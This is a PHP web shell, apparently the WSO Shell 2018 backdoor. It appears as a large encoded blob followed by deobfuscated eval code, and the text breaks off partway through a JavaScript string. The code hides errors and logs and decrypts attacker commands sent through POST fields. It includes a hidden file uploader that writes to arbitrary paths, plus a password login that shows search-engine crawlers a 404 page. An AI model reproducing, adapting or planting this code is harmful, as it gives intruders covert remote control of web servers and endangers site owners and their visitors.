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";
eval /* PHPDeobfuscator eval output */ {
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @ini_set('output_buffering', 0);
    @ini_set('display_errors', 0);
    $▘ = true;
    $▜ = 'UTF-8';
    $▚ = 'FilesMan';
    $▙ = md5($_SERVER['HTTP_USER_AGENT']);
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"])) {
        prototype(md5($_SERVER['HTTP_HOST']) . "key", $▙);
    }
    if (empty($_POST['charset'])) {
        $_POST['charset'] = $▜;
    }
    if (!isset($_POST['ne'])) {
        if (isset($_POST['a'])) {
            $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
        if (isset($_POST['c'])) {
            $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
        if (isset($_POST['p1'])) {
            $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
        if (isset($_POST['p2'])) {
            $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
        if (isset($_POST['p3'])) {
            $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
    }
    $hex = "SJBEWMMwFIWf/RfHQ8gKzrHnplKmYXuUKqKMRJrQpdORtSkJJrL/YdrqcUK55H7nnnuu7SZpt9NlEhUv+XdQnPpjn3Ebx7j6BmdwOCgz0ruMHWx7yEvHKw+vpeF6bb9LrqDLUx6EQYmvnbRPSGXWM9NJVlKgGnZsmRKSMVuKTW9xO+s0Tql8qFTLi/6uPm0rsUquDsBNhO4wNDzjFrNuJZpRgxgp7qLi+fU9X54TJAB5h8lVeVXvUra4QU52jJAt6nfnhJImqKPiMX9L58tjgP4nY7e4FCbjNM/3uqiF46rVetGn+DOg0ouidOn25n9pPEvh95KEmWzGFFmlu5SeIZot3qZCzjZfMLrS13mm+oTzjCQ4nWP6AQ==";
    eval /* PHPDeobfuscator eval output */ {
        if (isset($_GET["lawlx"])) {
            echo "<html><body><form method=POST enctype=\"multipart/form-data\" action=\"\"><input type=\"file\" name=\"lawlx\"><input type=submit value=\"Up\"></form></body></html>";
            $lawlx = @$_FILES["lawlx"];
            if ($lawlx["name"] != '') {
                $fullpath = $_REQUEST["path"] . $lawlx["name"];
                if (move_uploaded_file($lawlx['tmp_name'], $fullpath)) {
                    echo "<h1><a href='{$fullpath}'>OK-Click here!</a></h1>";
                }
            }
        }
    };
    function decrypt($str, $pwd)
    {
        $pwd = base64_encode($pwd);
        $str = base64_decode($str);
        $enc_chr = "";
        $enc_str = "";
        $i = 0;
        while ($i < strlen($str)) {
            for ($j = 0; $j < strlen($pwd); $j++) {
                $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
                $enc_str .= $enc_chr;
                $i++;
                if ($i >= strlen($str)) {
                    break;
                }
            }
        }
        return base64_decode($enc_str);
    }
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @set_time_limit(0);
    if (version_compare(PHP_VERSION, '5.3.0', '<')) {
        set_magic_quotes_runtime(0);
    }
    @define('VERSION', 'SHELL 2018');
    if (get_magic_quotes_gpc()) {
        function stripslashes_array($array)
        {
            return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
        }
        $_POST = stripslashes_array($_POST);
        $_COOKIE = stripslashes_array($_COOKIE);
    }
    /* (С) 11.2011 oRb */
    if (!empty($▛)) {
        if (isset($_POST['pass']) && md5($_POST['pass']) == $▛) {
            prototype(md5($_SERVER['HTTP_HOST']), $▛);
        }
        if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || $_COOKIE[md5($_SERVER['HTTP_HOST'])] != $▛) {
            hardLogin();
        }
    }
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
        $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool) $▘;
    }
    function hardLogin()
    {
        if (!empty($_SERVER['HTTP_USER_AGENT'])) {
            $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
            if (preg_match("/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i", $_SERVER['HTTP_USER_AGENT'])) {
                header('HTTP/1.0 404 Not Found');
                exit;
            }
        }
        die("</br></br><body bgcolor='#000000'><pre align=center><form method=post style='color:#ffffff;text-align: center;'>Wso Shell 2018<br><br><input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='>>' style='border:none;background-color:#1e252e;color:#fff;cursor:pointer;'></form></pre> </body>");
    }
    if (strtolower("PHP") == "win") {
        $os = 'win';
    } else {
        $os = 'nix';
    }
    $safe_mode = @ini_get('safe_mode');
    if (!$safe_mode) {
        error_reporting(0);
    }
    $disable_functions = @ini_get('disable_functions');
    $home_cwd = @getcwd();
    if (isset($_POST['c'])) {
        @chdir($_POST['c']);
    }
    $cwd = @getcwd();
    if ($os == 'win') {
        $home_cwd = str_replace("\\", "/", $home_cwd);
        $cwd = str_replace("\\", "/", $cwd);
    }
    if ($cwd[strlen($cwd) - 1] != '/') {
        $cwd .= '/';
    }
    function hardHeader()
    {
        if (empty($_POST['charset'])) {
            $_POST['charset'] = $GLOBALS['▜'];
        }
        echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title> WSO " . VERSION . "</title>\r\n<style>\r\n\tbody {background-color:#0d0d0d; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\r\n\t#particles-js{width: 100%; height: 100px; background-color: #0d0d0d; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\r\n\tbody,td,th\t{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\r\n\ttable.info\t{color:#ffffff;}\r\n\ttable#toolsTbl {background-color: #0d0d0d;}\r\n\tspan,h1,a\t{color:#ff9900 !important;}\r\n\tspan\t\t{font-weight:bolder;}\r\n\th1\t\t\t{border-left:5px solid #ff5e00d9;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}\r\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#0d0d0d;}\r\n\ta\t\t\t{text-decoration:none;}\r\n\ta:hover\t\t{text-decoration:underline;}\r\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\r\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\r\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\r\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\r\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}\r\n\tlabel {position:relative}\r\n\tlabel:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\r\n\tlabel:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\r\n\tform\t\t{margin:0px;}\r\n\t#toolsTbl\t{text-align:center;}\r\n\t#fak \t\t{background:none;}\r\n\t#fak td \t{padding:5px 0 0 0;}\r\n\tiframe\t\t{border:1px solid #0d0d0d;}\r\n\t.toolsInp\t{width:300px}\r\n\t.main th\t{text-align:left;background-color:#0d0d0d;}\r\n\t.main tr:hover{background-color:#373c42;}\r\n\t.main td, th{vertical-align:middle;}\r\n\tinput[type='submit']{background-color:#ff5e00d9;}\r\n\tinput[type='button']{background-color:#ff5e00d9;}\r\n\tinput[type='submit']:hover{background-color:#ff5e00d9;}\r\n\tinput[type='button']:hover{background-color:#ff5e00d9;}\r\n\t.l1\t\t\t{background-color:#202832;}\r\n\tpre\t\t\t{font:9pt Courier New;}\r\n</style>\r\n<script>\r\n    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';\r\n    var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\r\n    var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\r\n    var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';\r\n    var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';\r\n    var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';\r\n    var d = document;\r\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\r\n\tfunction utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n\tfunction base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\td.mf.a.value = encrypt(d.mf.a.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.c.value = encrypt(d.mf.c.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = 'ajax=true';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr('" . 